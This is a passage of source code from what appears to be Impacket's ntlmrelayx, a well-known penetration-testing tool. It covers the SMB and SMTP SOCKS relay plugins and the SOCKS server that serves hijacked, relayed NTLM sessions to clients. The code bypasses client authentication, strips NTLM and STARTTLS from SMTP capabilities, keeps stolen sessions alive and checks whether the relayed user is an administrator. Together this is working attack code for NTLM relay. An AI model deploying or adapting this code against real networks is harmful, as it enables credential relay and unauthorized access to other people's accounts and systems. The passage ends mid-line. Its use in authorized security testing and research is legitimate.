self.sessionData['CHALLENGE_MESSAGE']\n                challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)\n\n                respToken = SPNEGO_NegTokenResp()\n                # accept-incomplete. We want more data\n                respToken['NegState'] = b'\\x01'\n                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n                respToken['ResponseToken'] = challengeMessage.getData()\n\n                respParameters['SecurityBlobLength'] = len(respToken.getData())\n                respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']\n                respData['SecurityBlob'] = respToken.getData()\n\n                respData['NativeOS'] = ''\n                respData['NativeLanMan'] = ''\n                respSMBCommand['Parameters'] = respParameters\n                respSMBCommand['Data'] = respData\n\n                resp = NewSMBPacket()\n                resp['Flags1'] = SMB.FLAGS1_REPLY\n                resp['Flags2'] = SMB.FLAGS2_NT_STATUS\n                resp['Pid'] = recvPacket['Pid']\n                resp['Tid'] = recvPacket['Tid']\n                resp['Mid'] = recvPacket['Mid']\n                resp['Uid'] = 0\n                errorCode = STATUS_MORE_PROCESSING_REQUIRED\n                resp['ErrorCode'] = errorCode >> 16\n                resp['ErrorClass'] = errorCode & 0xff\n                resp.addCommand(respSMBCommand)\n\n                self.__NBSession.send_packet(resp.getData())\n                recvPacket, smbCommand = self.getSMBPacket()\n\n                sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])\n                sessionSetupData = SMBSessionSetupAndX_Extended_Data()\n                sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']\n                sessionSetupData.fromString(smbCommand['Data'])\n\n                if unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:\n                    # If there no GSSAPI ID, it must be an AUTH packet\n                    blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])\n                    token = blob['ResponseToken']\n                else:\n                    # NEGOTIATE packet\n                    blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])\n                    token = blob['MechToken']\n\n                # Now we should've received a type 3 message\n                authenticateMessage = NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n\n                try:\n                    username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                           authenticateMessage['user_name'].decode('utf-16le'))).upper()\n                except UnicodeDecodeError:\n                    # Not Unicode encoded?\n                    username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()\n\n                # Check if we have a connection for the user\n                if username in self.activeRelays:\n                    LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost))\n                    errorCode = STATUS_SUCCESS\n                    smbClient = self.activeRelays[username]['protocolClient'].session\n                    uid = smbClient.getSMBServer().get_uid()\n                else:\n                    LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost))\n                    errorCode = STATUS_ACCESS_DENIED\n                    uid = 0\n                    smbClient = None\n\n                resp = NewSMBPacket()\n                resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY\n                resp['Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY\n                resp['Command'] = recvPacket['Command']\n                resp['Pid'] = recvPacket['Pid']\n                resp['Tid'] = recvPacket['Tid']\n                resp['Mid'] = recvPacket['Mid']\n                resp['Uid'] = uid\n                resp['ErrorCode'] = errorCode >> 16\n                resp['ErrorClass'] = errorCode & 0xff\n                respData['NativeOS'] = ''\n                respData['NativeLanMan'] = ''\n\n                if uid == 0:\n                    resp['Data'] = b'\\x00\\x00\\x00'\n                    smbClient = None\n                else:\n                    respToken = SPNEGO_NegTokenResp()\n                    # accept-completed\n                    respToken['NegState'] = b'\\x00'\n                    respParameters['SecurityBlobLength'] = len(respToken)\n                    respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']\n                    respData['SecurityBlob'] = respToken.getData()\n\n                    respSMBCommand['Parameters'] = respParameters\n                    respSMBCommand['Data'] = respData\n                    resp.addCommand(respSMBCommand)\n\n                self.__NBSession.send_packet(resp.getData())\n\n\n                return smbClient, username\n            else:\n                LOG.error('SOCKS: Can\\'t handle standard security at the moment!')\n                return None\n        else:\n            respSMBCommand = SMB2SessionSetup_Response()\n            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])\n\n            securityBlob = sessionSetupData['Buffer']\n\n            rawNTLM = False\n            if unpack('B', securityBlob[0:1])[0] == ASN1_AID:\n                # NEGOTIATE packet\n                blob = SPNEGO_NegTokenInit(securityBlob)\n                token = blob['MechToken']\n                if len(blob['MechTypes'][0]) > 0:\n                    # Is this GSSAPI NTLM or something else we don't support?\n                    mechType = blob['MechTypes'][0]\n                    if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:\n                        # Nope, do we know it?\n                        if mechType in MechTypes:\n                            mechStr = MechTypes[mechType]\n                        else:\n                            mechStr = hexlify(mechType)\n                        LOG.debug(\"Unsupported MechType '%s', we just want NTLMSSP, answering\" % mechStr)\n                        # We don't know the token, we answer back again saying\n                        # we just support NTLM.\n                        # ToDo: Build this into a SPNEGO_NegTokenResp()\n                        respToken = b'\\xa1\\x15\\x30\\x13\\xa0\\x03\\x0a\\x01\\x03\\xa1\\x0c\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a'\n                        respSMBCommand['SecurityBufferOffset'] = 0x48\n                        respSMBCommand['SecurityBufferLength'] = len(respToken)\n                        respSMBCommand['Buffer'] = respToken\n\n                        resp = SMB2Packet()\n                        resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR\n                        resp['Status'] = STATUS_SUCCESS\n                        resp['CreditRequestResponse'] = 1\n                        resp['CreditCharge'] = recvPacket['CreditCharge']\n                        resp['Command'] = recvPacket['Command']\n                        resp['SessionID'] = 0\n                        resp['Reserved'] = recvPacket['Reserved']\n                        resp['MessageID'] = recvPacket['MessageID']\n                        resp['TreeID'] = recvPacket['TreeID']\n                        resp['Data'] = respSMBCommand\n\n                        self.__NBSession.send_packet(resp.getData())\n                        recvPacket, smbCommand = self.getSMBPacket()\n                        return self.processSessionSetup(recvPacket)\n\n            elif unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:\n                # AUTH packet\n                blob = SPNEGO_NegTokenResp(securityBlob)\n                token = blob['ResponseToken']\n            else:\n                # No GSSAPI stuff, raw NTLMSSP\n                rawNTLM = True\n                token = securityBlob\n\n            # NEGOTIATE_MESSAGE\n            # First of all, we should received a type 1 message. Let's answer it\n            challengeMessage = self.sessionData['CHALLENGE_MESSAGE']\n            challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)\n\n            if rawNTLM is False:\n                respToken = SPNEGO_NegTokenResp()\n                # accept-incomplete. We want more data\n                respToken['NegState'] = b'\\x01'\n                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n\n                respToken['ResponseToken'] = challengeMessage.getData()\n            else:\n                respToken = challengeMessage\n\n            resp = SMB2Packet()\n            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR\n            resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED\n            resp['CreditRequestResponse'] = 1\n            resp['CreditCharge'] = recvPacket['CreditCharge']\n            resp['Command'] = recvPacket['Command']\n            resp['SessionID'] = 0\n            resp['Reserved'] = recvPacket['Reserved']\n            resp['MessageID'] = recvPacket['MessageID']\n            resp['TreeID'] = recvPacket['TreeID']\n\n            respSMBCommand['SecurityBufferOffset'] = 0x48\n            respSMBCommand['SecurityBufferLength'] = len(respToken)\n            respSMBCommand['Buffer'] = respToken.getData()\n            resp['Data'] = respSMBCommand\n\n            self.__NBSession.send_packet(resp.getData())\n            recvPacket, smbCommand = self.getSMBPacket()\n\n            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])\n            securityBlob = sessionSetupData['Buffer']\n\n            blob = SPNEGO_NegTokenResp(securityBlob)\n            token = blob['ResponseToken']\n\n            # AUTHENTICATE_MESSAGE, here we deal with authentication\n            authenticateMessage = NTLMAuthChallengeResponse()\n            authenticateMessage.fromString(token)\n\n            try:\n                username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                       authenticateMessage['user_name'].decode('utf-16le'))).upper()\n            except UnicodeDecodeError:\n                # Not Unicode encoded?\n                username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()\n\n            respToken = SPNEGO_NegTokenResp()\n\n            # Check if we have a connection for the user\n            if username in self.activeRelays:\n                LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost))\n                errorCode = STATUS_SUCCESS\n                smbClient = self.activeRelays[username]['protocolClient'].session\n                uid = smbClient.getSMBServer()._Session['SessionID']\n            else:\n                LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost))\n                errorCode = STATUS_ACCESS_DENIED\n                uid = 0\n                smbClient = None\n\n            # accept-completed\n            respToken['NegState'] = b'\\x00'\n\n            resp = SMB2Packet()\n            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR\n            resp['Status'] = errorCode\n            resp['CreditRequestResponse'] = 1\n            resp['CreditCharge'] = recvPacket['CreditCharge']\n            resp['Command'] = recvPacket['Command']\n            resp['SessionID'] = uid\n            resp['Reserved'] = recvPacket['Reserved']\n            resp['MessageID'] = recvPacket['MessageID']\n            resp['TreeID'] = recvPacket['TreeID']\n\n            respSMBCommand['SecurityBufferOffset'] = 0x48\n\n            # This is important for SAMBA client to work. If it is not set as a guest session,\n            # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced).\n            respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST\n            respSMBCommand['SecurityBufferLength'] = len(respToken)\n            respSMBCommand['Buffer'] = respToken.getData()\n            resp['Data'] = respSMBCommand\n\n            self.__NBSession.send_packet(resp.getData())\n            return smbClient, username\n\n    def getLogOffAnswer(self, recvPacket):\n\n        if self.isSMB2 is False:\n            respSMBCommand = SMBCommand(SMB.SMB_COM_LOGOFF_ANDX)\n\n            resp = NewSMBPacket()\n            resp['Flags1'] = SMB.FLAGS1_REPLY\n            resp['Pid'] = recvPacket['Pid']\n            resp['Tid'] = recvPacket['Tid']\n            resp['Mid'] = recvPacket['Mid']\n            resp['Uid'] = recvPacket['Uid']\n\n            respParameters = b''\n            respData = b''\n            respSMBCommand['Parameters']   = respParameters\n            respSMBCommand['Data']         = respData\n\n            resp.addCommand(respSMBCommand)\n\n        else:\n            respSMBCommand = SMB2Logoff_Response()\n\n            resp = SMB2Packet()\n            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR\n            resp['Status'] = STATUS_SUCCESS\n            resp['CreditRequestResponse'] = 1\n            resp['CreditCharge'] = recvPacket['CreditCharge']\n            resp['Command'] = recvPacket['Command']\n            resp['SessionID'] = recvPacket['SessionID']\n            resp['Reserved'] = recvPacket['Reserved']\n            resp['MessageID'] = recvPacket['MessageID']\n            resp['TreeID'] = recvPacket['TreeID']\n            resp['Data'] = respSMBCommand\n\n        return resp\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A Socks Proxy for the SMTP Protocol\n#\n#   A simple SOCKS server that proxies a connection to relayed SMTP connections\n#\n# Author:\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nimport base64\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay\n\n# Besides using this base class you need to define one global variable when\n# writing a plugin:\nPLUGIN_CLASS = \"SMTPSocksRelay\"\nEOL = '\\r\\n'\n\nclass SMTPSocksRelay(SocksRelay):\n    PLUGIN_NAME = 'SMTP Socks Plugin'\n    PLUGIN_SCHEME = 'SMTP'\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n        self.packetSize = 8192\n\n    @staticmethod\n    def getProtocolPort():\n        return 25\n\n    def getServerEhlo(self):\n        for key in list(self.activeRelays.keys()):\n            if key != 'data' and key != 'scheme':\n                if 'protocolClient' in self.activeRelays[key]:\n                    return self.activeRelays[key]['protocolClient'].session.ehlo_resp\n\n    def initConnection(self):\n        pass\n\n    def skipAuthentication(self):\n        self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready'+EOL)\n\n        # Next should be the client sending the EHLO command\n        cmd, params = self.recvPacketClient().split(' ',1)\n        if cmd.upper() == 'EHLO':\n            clientcapabilities = self.getServerEhlo().split('\\n')\n            # Don't offer these AUTH options so the client won't use them\n            # also don't offer STARTTLS since that will break things\n            blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM']\n            for cap in blacklist:\n                if cap in clientcapabilities:\n                    clientcapabilities.remove(cap)\n\n            # Offer PLAIN auth for specifying the username\n            if 'AUTH PLAIN' not in clientcapabilities:\n                clientcapabilities.append('AUTH PLAIN')\n            # Offer LOGIN for specifying the username\n            if 'AUTH LOGIN' not in clientcapabilities:\n                clientcapabilities.append('AUTH LOGIN')\n\n            LOG.debug('SMTP: Sending mirrored capabilities from server: %s' % ', '.join(clientcapabilities))\n            # Prepare capabilities\n            delim = EOL+'250-'\n            caps = delim.join(clientcapabilities[:-1]) + EOL + '250 ' + clientcapabilities[-1] + EOL\n            self.socksSocket.send('250-%s' % caps)\n        else:\n            LOG.error('SMTP: Socks plugin expected EHLO command, but got: %s %s' % (cmd, params))\n            return False\n        # next\n        cmd, params = self.recvPacketClient().split(' ', 1)\n        args = params.split(' ')\n        if cmd.upper() == 'AUTH' and args[0] == 'LOGIN':\n            # OK, ask for their username\n            self.socksSocket.send('334 VXNlcm5hbWU6'+EOL)\n            # Client will now send their AUTH\n            data = self.socksSocket.recv(self.packetSize)\n            # This contains base64(username), decode\n            creds = base64.b64decode(data.strip())\n            self.username = creds.upper()\n            # Client will now send the password, we don't care for it but receive it anyway\n            self.socksSocket.send('334 UGFzc3dvcmQ6'+EOL)\n            data = self.socksSocket.recv(self.packetSize)\n        elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN':\n            # Simple login\n            # This contains base64(\\x00username\\x00password), decode and split\n            creds = base64.b64decode(args[1].strip())\n            self.username = creds.split('\\x00')[1].upper()\n        else:\n            LOG.error('SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s' % (cmd, params))\n            return False\n\n        # Check if we have a connection for the user\n        if self.username in self.activeRelays:\n            # Check the connection is not inUse\n            if self.activeRelays[self.username]['inUse'] is True:\n                LOG.error('SMTP: Connection for %s@%s(%s) is being used at the moment!' % (\n                    self.username, self.targetHost, self.targetPort))\n                return False\n            else:\n                LOG.info('SMTP: Proxying client session for %s@%s(%s)' % (\n                    self.username, self.targetHost, self.targetPort))\n                self.session = self.activeRelays[self.username]['protocolClient'].session\n        else:\n            LOG.error('SMTP: No session for %s@%s(%s) available' % (\n                self.username, self.targetHost, self.targetPort))\n            return False\n\n        # We arrived here, that means all is OK\n        self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL)\n        self.relaySocket = self.session.sock\n        self.relaySocketFile = self.session.file\n        return True\n\n    def tunnelConnection(self):\n        doneIndicator = EOL+'.'+EOL\n        while True:\n            data = self.socksSocket.recv(self.packetSize)\n            # If this returns with an empty string, it means the socket was closed\n            if data == '':\n                return\n            info = data.strip().split(' ')\n            # See if a QUIT command was sent, in which case we want to close\n            # the connection to the client but keep the relayed connection alive\n            if info[0].upper() == 'QUIT':\n                LOG.debug('Client sent QUIT command, closing socks connection to client')\n                self.socksSocket.send('221 2.0.0 Service closing transmission channel%s' % EOL)\n                return\n            self.relaySocket.send(data)\n            data = self.relaySocket.recv(self.packetSize)\n            self.socksSocket.send(data)\n            if info[0].upper() == 'DATA':\n                LOG.debug('SMTP Socks entering DATA transfer mode')\n                # DATA transfer, forward to the server till done\n                while data[-5:] != doneIndicator:\n                    prevdata = data\n                    data = self.socksSocket.recv(self.packetSize)\n                    self.relaySocket.send(data)\n                    if len(data) < 5:\n                        # This can happen, the .CRLF will be in a packet after the first CRLF\n                        # we stitch them back together for analysis\n                        data = prevdata + data\n                LOG.debug('SMTP Socks DATA transfer mode finished')\n                # DATA done, forward server reply\n                data = self.relaySocket.recv(self.packetSize)\n                self.socksSocket.send(data)\n\n    def recvPacketClient(self):\n        data = self.socksSocket.recv(self.packetSize)\n        return data\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksserver.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SOCKS proxy server/client\n#\n#  A simple SOCKS server that proxy connection to relayed connections\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# ToDo:\n#   [ ] Handle better the SOCKS specification (RFC1928), e.g. BIND\n#   [ ] Port handlers should be dynamically subscribed, and coded in another place. This will help coding\n#       proxies for different protocols (e.g. MSSQL)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport socketserver\nimport socket\nimport time\nimport logging\nfrom queue import Queue\nfrom struct import unpack, pack\nfrom threading import Timer, Thread\n\nfrom impacket import LOG\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.structure import Structure\n\n# Amount of seconds each socks plugin keep alive function will be called\n# It is up to each plugin to send the keep alive to the target or not in every hit.\n# In some cases (e.g. SMB) it is not needed to send a keep alive every 30 secs.\nKEEP_ALIVE_TIMER = 30.0\n\nclass enumItems(Enum):\n    NO_AUTHENTICATION = 0\n    GSSAPI            = 1\n    USER_PASS         = 2\n    UNACCEPTABLE      = 0xFF\n\nclass replyField(Enum):\n    SUCCEEDED             = 0\n    SOCKS_FAILURE         = 1\n    NOT_ALLOWED           = 2\n    NETWORK_UNREACHABLE   = 3\n    HOST_UNREACHABLE      = 4\n    CONNECTION_REFUSED    = 5\n    TTL_EXPIRED           = 6\n    COMMAND_NOT_SUPPORTED = 7\n    ADDRESS_NOT_SUPPORTED = 8\n\nclass ATYP(Enum):\n    IPv4 = 1\n    DOMAINNAME = 3\n    IPv6 = 4\n\nclass SOCKS5_GREETINGS(Structure):\n    structure = (\n        ('VER','B=5'),\n        #('NMETHODS','B=0'),\n        ('METHODS','B*B'),\n    )\n\n\nclass SOCKS5_GREETINGS_BACK(Structure):\n    structure = (\n        ('VER','B=5'),\n        ('METHODS','B=0'),\n    )\n\nclass SOCKS5_REQUEST(Structure):\n    structure = (\n        ('VER','B=5'),\n        ('CMD','B=0'),\n        ('RSV','B=0'),\n        ('ATYP','B=0'),\n        ('PAYLOAD',':'),\n    )\n\nclass SOCKS5_REPLY(Structure):\n    structure = (\n        ('VER','B=5'),\n        ('REP','B=5'),\n        ('RSV','B=0'),\n        ('ATYP','B=1'),\n        ('PAYLOAD',':=\"AAAAA\"'),\n    )\n\nclass SOCKS4_REQUEST(Structure):\n    structure = (\n        ('VER','B=4'),\n        ('CMD','B=0'),\n        ('PORT','>H=0'),\n        ('ADDR','4s=\"'),\n        ('PAYLOAD',':'),\n    )\n\nclass SOCKS4_REPLY(Structure):\n    structure = (\n        ('VER','B=0'),\n        ('REP','B=0x5A'),\n        ('RSV','<H=0'),\n        ('RSV','<L=0'),\n    )\n\nactiveConnections = Queue()\n\n# Taken from https://stackoverflow.com/questions/474528/what-is-the-best-way-to-repeatedly-execute-a-function-every-x-seconds-in-python\n# Thanks https://stackoverflow.com/users/624066/mestrelion\nclass RepeatedTimer(object):\n  def __init__(self, interval, function, *args, **kwargs):\n    self._timer = None\n    self.interval = interval\n    self.function = function\n    self.args = args\n    self.kwargs = kwargs\n    self.is_running = False\n    self.next_call = time.time()\n    self.start()\n\n  def _run(self):\n    self.is_running = False\n    self.start()\n    self.function(*self.args, **self.kwargs)\n\n  def start(self):\n    if not self.is_running:\n      self.next_call += self.interval\n      self._timer = Timer(self.next_call - time.time(), self._run)\n      self._timer.start()\n      self.is_running = True\n\n  def stop(self):\n    self._timer.cancel()\n    self.is_running = False\n\n# Base class for Relay Socks Servers for different protocols (SMB, MSSQL, etc)\n# Besides using this base class you need to define one global variable when\n# writing a plugin for socksplugins:\n# PLUGIN_CLASS = \"<name of the class for the plugin>\"\nclass SocksRelay:\n    PLUGIN_NAME = 'Base Plugin'\n    # The plugin scheme, for automatic registration with relay servers\n    # Should be specified in full caps, e.g. LDAP, HTTPS\n    PLUGIN_SCHEME = ''\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        self.targetHost = targetHost\n        self.targetPort = targetPort\n        self.socksSocket = socksSocket\n        self.sessionData = activeRelays['data']\n        self.username = None\n        self.clientConnection = None\n        self.activeRelays = activeRelays\n\n    def initConnection(self):\n        # Here we do whatever is necessary to leave the relay ready for processing incoming connections\n        raise RuntimeError('Virtual Function')\n\n    def skipAuthentication(self):\n        # Charged of bypassing any authentication attempt from the client\n        raise RuntimeError('Virtual Function')\n\n    def tunnelConnection(self):\n        # Charged of tunneling the rest of the connection\n        raise RuntimeError('Virtual Function')\n\n    @staticmethod\n    def getProtocolPort(self):\n        # Should return the port this relay works against\n        raise RuntimeError('Virtual Function')\n\n\ndef keepAliveTimer(server):\n    LOG.debug('KeepAlive Timer reached. Updating connections')\n\n    for target in list(server.activeRelays.keys()):\n        for port in list(server.activeRelays[target].keys()):\n            # Now cycle through the users\n            for user in list(server.activeRelays[target][port].keys()):\n                if user != 'data' and user != 'scheme':\n                    # Let's call the keepAlive method for the handler to keep the connection alive\n                    if server.activeRelays[target][port][user]['inUse'] is False:\n                        LOG.debug('Calling keepAlive() for %s@%s:%s' % (user, target, port))\n                        try:\n                            server.activeRelays[target][port][user]['protocolClient'].keepAlive()\n                        except Exception as e:\n                            LOG.debug(\"Exception:\",exc_info=True)\n                            LOG.debug('SOCKS: %s' % str(e))\n                            if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \\\n                                            str(e).find('Invalid argument') >= 0 or str(e).find('Server not connected') >=0:\n                                # Connection died, taking out of the active list\n                                del (server.activeRelays[target][port][user])\n                                if len(list(server.activeRelays[target][port].keys())) == 1:\n                                    del (server.activeRelays[target][port])\n                                LOG.debug('Removing active relay for %s@%s:%s' % (user, target, port))\n                    else:\n                        LOG.debug('Skipping %s@%s:%s since it\\'s being used at the moment' % (user, target, port))\n\ndef activeConnectionsWatcher(server):\n    while True:\n        # This call blocks until there is data, so it doesn't loop endlessly\n        target, port, scheme, userName, client, data = activeConnections.get()\n        # ToDo: Careful. Dicts are not thread safe right?\n        if (target in server.activeRelays) is not True:\n            server.activeRelays[target] = {}\n        if (port in server.activeRelays[target]) is not True:\n            server.activeRelays[target][port] = {}\n\n        if (userName in server.activeRelays[target][port]) is not True:\n            LOG.info('SOCKS: Adding %s://%s@%s(%s) [%s] to active SOCKS connection. Enjoy' % (scheme, userName, target, port, client.client_id))\n            server.activeRelays[target][port][userName] = {}\n            # This is the protocolClient. Needed because we need to access the killConnection from time to time.\n            # Inside this instance, you have the session attribute pointing to the relayed session.\n            server.activeRelays[target][port][userName]['protocolClient'] = client\n            server.activeRelays[target][port][userName]['inUse'] = False\n            server.activeRelays[target][port][userName]['data'] = data\n            # Just for the CHALLENGE data, we're storing this general\n            server.activeRelays[target][port]['data'] = data\n            # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use\n            server.activeRelays[target][port]['scheme'] = scheme\n\n            # Default values in case somebody asks while we're getting the data\n            server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'\n            # Do we have admin access in this connection?\n            try:\n                LOG.debug(\"Checking admin status for user %s\" % str(userName))\n                isAdmin = client.isAdmin()\n                server.activeRelays[target][port][userName]['isAdmin'] = isAdmin\n            except Exception as e:\n                # Method not implemented\n                server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'\n                pass\n            LOG.debug(\"isAdmin returned: %s\" % server.activeRelays[target][port][userName]['isAdmin'])\n        else:\n            LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port))\n            client.killConnection()\n\n\ndef webService(addr, port):\n    def _webService(server):\n        from flask import Flask, jsonify\n\n        app = Flask(__name__)\n\n        log = logging.getLogger('werkzeug')\n        log.setLevel(logging.ERROR)\n\n        @app.route('/')\n        def index():\n            print(server.activeRelays)\n            return \"Relays available: %s!\" % (len(server.activeRelays))\n\n        @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET'])\n        def get_relays():\n            relays = []\n            for target in server.activeRelays:\n                for port in server.activeRelays[target]:\n                    for user in server.activeRelays[target][port]:\n                        if user != 'data' and user != 'scheme':\n                            client_id = server.activeRelays[target][port][user]['protocolClient'].client_id\n                            protocol = server.activeRelays[target][port]['scheme']\n                            isAdmin = server.activeRelays[target][port][user]['isAdmin']\n                            relays.append([protocol, target, user, isAdmin, str(port), str(client_id)])\n            return jsonify(relays)\n\n        @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET'])\n        def get_info(relay):\n            pass\n\n        app.run(host=addr, port=port)\n\n    return _webService\n\nclass SocksRequestHandler(socketserver.BaseRequestHandler):\n    def __init__(self, request, client_address, server):\n        self.__socksServer = server\n        self.__ip, self.__port = client_address\n        self.__connSocket= request\n        self.__socksVersion = 5\n        self.targetHost = None\n        self.targetPort = None\n        self.__NBSession= None\n        socketserver.BaseRequestHandler.__init__(self, request, client_address, server)\n\n    def sendReplyError(self, error = replyField.CONNECTION_REFUSED):\n\n        if self.__socksVersion == 5:\n            reply = SOCKS5_REPLY()\n            reply['REP'] = error.value\n        else:\n            reply = SOCKS4_REPLY()\n            if error.value != 0:\n                reply['REP'] = 0x5B\n        return self.__connSocket.sendall(reply.getData())\n\n    def handle(self):\n        LOG.debug(\"SOCKS: New Connection from %s(%s)\" % (self.__ip, self.__port))\n\n        data = self.__connSocket.recv(8192)\n        grettings = SOCKS5_GREETINGS_BACK(data)\n        self.__socksVersion = grettings['VER']\n\n        if self.__socksVersion == 5:\n            # We need to answer back with a no authentication response. We're not dealing with auth for now\n            self.__connSocket.sendall(SOCKS5_GREETINGS_BACK().getData())\n            data = self.__connSocket.recv(8192)\n            request = SOCKS5_REQUEST(data)\n        else:\n            # We're in version 4, we just received the request\n            request = SOCKS4_REQUEST(data)\n\n        # Let's process the request to extract the target to connect.\n        # SOCKS5\n        if self.__socksVersion == 5:\n            if request['ATYP'] == ATYP.IPv4.value:\n                self.targetHost = socket.inet_ntoa(request['PAYLOAD'][:4])\n                self.targetPort = unpack('>H',request['PAYLOAD'][4:])[0]\n            elif request['ATYP'] == ATYP.DOMAINNAME.value:\n                hostLength = unpack('!B',request['PAYLOAD'][:1])[0]\n                self.targetHost = request['PAYLOAD'][1:hostLength+1].decode(encoding='utf-8')\n                self.targetPort = unpack('>H',request['PAYLOAD'][hostLength+1:])[0]\n            else:\n                LOG.error('No support for IPv6 yet!')\n        # SOCKS4\n        else:\n            self.targetPort = request['PORT']\n\n            # SOCKS4a\n            if request['ADDR'][:3] == \"\\x00\\x00\\x00\" and request['ADDR'][3] != \"\\x00\":\n                nullBytePos = request['PAYLOAD'].find(\"\\x00\")\n\n                if nullBytePos == -1:\n                    LOG.error('Error while reading SOCKS4a header!')\n                else:\n                    self.targetHost = request['PAYLOAD'].split('\\0', 1)[1][:-1]\n            else:\n                self.targetHost = socket.inet_ntoa(request['ADDR'])\n\n        LOG.debug('SOCKS: Target is %s(%s)' % (self.targetHost, self.targetPort))\n\n        if self.targetPort != 53:\n            # Do we have an active connection for the target host/port asked?\n            # Still don't know the username, but it's a start\n            if self.targetHost in self.__socksServer.activeRelays:\n                if (self.targetPort in self.__socksServer.activeRelays[self.targetHost]) is not True:\n                    LOG.error('SOCKS: Don\\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort))\n                    self.sendReplyError(replyField.CONNECTION_REFUSED)\n                    return\n            else:\n                LOG.error('SOCKS: Don\\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort))\n                self.sendReplyError(replyField.CONNECTION_REFUSED)\n                return\n\n        # Now let's get into the loops\n        if self.targetPort == 53:\n            # Somebody wanting a DNS request. Should we handle this?\n            s = socket.socket()\n            try:\n                LOG.debug('SOCKS: Connecting to %s(%s)' %(self.targetHost, self.targetPort))\n                s.connect((self.targetHost, self.targetPort))\n            except Exception as e:\n                LOG.debug(\"Exception:\", exc_info=True)\n                LOG.error('SOCKS: %s' %str(e))\n                self.sendReplyError(replyField.CONNECTION_REFUSED)\n                return\n\n            if self.__socksVersion == 5:\n                reply = SOCKS5_REPLY()\n                reply['REP'] = replyField.SUCCEEDED.value\n                addr, port = s.getsockname()\n                reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port)\n            else:\n                reply = SOCKS4_REPLY()\n\n            self.__connSocket.sendall(reply.getData())\n\n            while True:\n                try:\n                    data = self.__connSocket.recv(8192)\n                    if data == b'':\n                        break\n                    s.sendall(data)\n                    data = s.recv(8192)\n                    self.__connSocket.sendall(data)\n                except Exception as e:\n                    LOG.debug(\"Exception:\", exc_info=True)\n                    LOG.error('SOCKS: %s', str(e))\n\n        # Let's look if there's a relayed connection for our host/port\n        scheme = None\n        if self.targetHost in self.__socksServer.activeRelays:\n            if self.targetPort in self.__socksServer.activeRelays[self.targetHost]:\n                scheme = self.__socksServer.activeRelays[self.targetHost][self.targetPort]['scheme']\n\n        if scheme is not None:\n            LOG.debug('Handler for port %s found %s' % (self.targetPort, 